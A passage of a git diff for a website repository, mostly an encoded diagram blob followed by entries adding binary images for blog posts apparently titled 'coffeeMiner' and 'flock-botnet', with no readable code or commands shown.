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 \ No newline at end of file diff --git a/public/img/posts/coffeeMiner/coinhive-monero-logo.jpg b/public/img/posts/coffeeMiner/coinhive-monero-logo.jpg new file mode 100644 index 0000000..cd8a5b1 Binary files /dev/null and b/public/img/posts/coffeeMiner/coinhive-monero-logo.jpg differ diff --git a/public/img/posts/coffeeMiner/demo-realWiFi-video.png b/public/img/posts/coffeeMiner/demo-realWiFi-video.png new file mode 100644 index 0000000..edb56d2 Binary files /dev/null and b/public/img/posts/coffeeMiner/demo-realWiFi-video.png differ diff --git a/public/img/posts/coffeeMiner/demo-video.png b/public/img/posts/coffeeMiner/demo-video.png new file mode 100644 index 0000000..715e544 Binary files /dev/null and b/public/img/posts/coffeeMiner/demo-video.png differ diff --git a/public/img/posts/coffeeMiner/demo01.png b/public/img/posts/coffeeMiner/demo01.png new file mode 100644 index 0000000..216cd1c Binary files /dev/null and b/public/img/posts/coffeeMiner/demo01.png differ diff --git a/public/img/posts/coffeeMiner/demo02.png b/public/img/posts/coffeeMiner/demo02.png new file mode 100644 index 0000000..bf17bc5 Binary files /dev/null and b/public/img/posts/coffeeMiner/demo02.png differ diff --git a/public/img/posts/coffeeMiner/network-scenario.png b/public/img/posts/coffeeMiner/network-scenario.png new file mode 100644 index 0000000..adfbeaa Binary files /dev/null and b/public/img/posts/coffeeMiner/network-scenario.png differ diff --git a/public/img/posts/coffeeMiner/scenario01.png b/public/img/posts/coffeeMiner/scenario01.png new file mode 100644 index 0000000..2408cd8 Binary files /dev/null and b/public/img/posts/coffeeMiner/scenario01.png differ diff --git a/public/img/posts/coffeeMiner/scenario02.png b/public/img/posts/coffeeMiner/scenario02.png new file mode 100644 index 0000000..05d3991 Binary files /dev/null and b/public/img/posts/coffeeMiner/scenario02.png differ diff --git a/public/img/posts/coffeeMiner/tweets.png b/public/img/posts/coffeeMiner/tweets.png new file mode 100644 index 0000000..cf37c5f Binary files /dev/null and b/public/img/posts/coffeeMiner/tweets.png differ diff --git a/public/img/posts/coffeeMiner/tweets.xcf b/public/img/posts/coffeeMiner/tweets.xcf new file mode 100644 index 0000000..c6462ad Binary files /dev/null and b/public/img/posts/coffeeMiner/tweets.xcf differ diff --git a/public/img/posts/coffeeMiner/tweets_small.png b/public/img/posts/coffeeMiner/tweets_small.png new file mode 100644 index 0000000..8f6ce76 Binary files /dev/null and b/public/img/posts/coffeeMiner/tweets_small.png differ diff --git a/public/img/posts/flock-botnet/01.png b/public/img/posts/flock-botnet/01.png new file mode 100755 index 0000000..b32882a Binary files /dev/null and b/public/img/posts/flock-botnet/01.png differ diff --git a/public/img/posts/flock-botnet/02.jpeg b/public/img/posts/flock-botnet/02.jpeg new file mode 100755 index 0000000..fd58f70 Binary files /dev/null and b/public/img/posts/flock-botnet/02.jpeg differ diff --git a/public/img/posts/flock-botnet/03.jpeg b/public/img/posts/flock-botnet/03.jpeg new file mode 100755 index 0000000..a9641fb Binary files /dev/null and b/public/img/posts/flock-botnet/03.jpeg differ diff --git a/public/img/posts/flock-botnet/04.jpeg b/public/img/posts/flock-botnet/04.jpeg new file mode 100755 index 0000000..a627645 Binary files /dev/null and b/public/img/posts/flock-botnet/04.jpeg differ diff --git a/public/img/posts/flock-botnet/flock-botnet-demo.gif b/public/img/posts/flock-botnet/flock-botnet-demo.gif new file mode 100644 index 0000000..8c7f1e5 Binary files /dev/null and b/public/img/posts/flock-botnet/flock-botnet-demo.gif differ diff --git a/public/img/posts/flock-botnet/flock-botnet-scheme.png b/public/img/posts/flock-botnet/flock-botnet-scheme.png new file mode 100644 index 0000000..84194e6 Binary files /dev/null and b/public/img/posts/flock-botnet/flock-botnet-scheme.png differ diff --git a/public/img/posts/flock-botnet/flock-botnet-scheme.xml b/public/img/posts/flock-botnet/flock-botnet-scheme.xml new file mode 100644 index 0000000..6cd9e74 --- /dev/null +++ b/public/img/posts/flock-botnet/flock-botnet-scheme.xml @@ -0,0 +1 @@ +7Vnbbts4EP0aP8aQSN38mKR1u8B2ETQFtn0KaImSuKVEgaJiu1+/Q4myLdFJtancC7YxYpDDi8Q5c4aH9ALfFrs3klT5O5FQvkBOslvgVwuEwiiAb23YGwMKO0MmWdKZ3KPhnn2hxugYa8MSWg86KiG4YtXQGIuypLEa2IiUYjvslgo+fGpFMmoZ7mPCbevfLFF5Z41852h/S1mW9092HdOyIfHnTIqmNM9bIJy2f11zQfq5TP86J4nYnpjw6wW+lUKorlTsbinXru3d1o1bP9F6eG9JSzVlAOoGPBLemKV/2DKlqATj9d0f5iXVvncMK1rP3eSq4GBxocjJhvKbw7pvBRey7dyvHN+YUa9YkcGrcLaB75iz6oFIpYuiqBp4Zg3leyofqXx4D/M9uCjawf+yKjPzmlQquntyqe7BgRCXVBRUyT10MQMQNj7fD2NtewKwMeUn2PY2YkIqO0x8dCsUjGfPe9mzvGw5FgKh6lzUOVgvlUFA/qm9eydqppgooX0jlBLFNLf3c1xzlumxSlRgJXXVUSZlO5r06Fz3VucEr1wpGHGt14nW2+12mUpKGZCuBkiWABuYm4oLkmjoVBc5V7rDFUR1qRuu3A4/fDMHhMFqAKFvQ+i5NoS97VsgxO4ZplCqdGbKKXxLWvG9BStNIK+YailKjWwLl3Z86+oTItEyuda5C6oxJ3XN4s64Zrzv8g9Vam/SJWmUAJOQKheZKCFUhMa37de9h374856GdxWNjE0v/7zzJeVEscfhVOd8aYbeCVaqE9DCIe9wOGKUIjKjyowaIXJ4jUkg+b8wz+oD0RLs7FdxUjfhjmfOMuaiSVIpSrUsdbyt23S49lzfd8Ir5Djz8ctzRlAhm2D+mRzpz5AjUWCB9xfdanp1NPs5iEV3TH08KX8yT9PlOyoZLJtKY3sZCTH+Lix0x/vaEyy0JnK94USHfbSfqFvMHHRGds59Q0sqiQJtOMq7MFnAwas3CXuEYqaLG1JDOCAHCI2c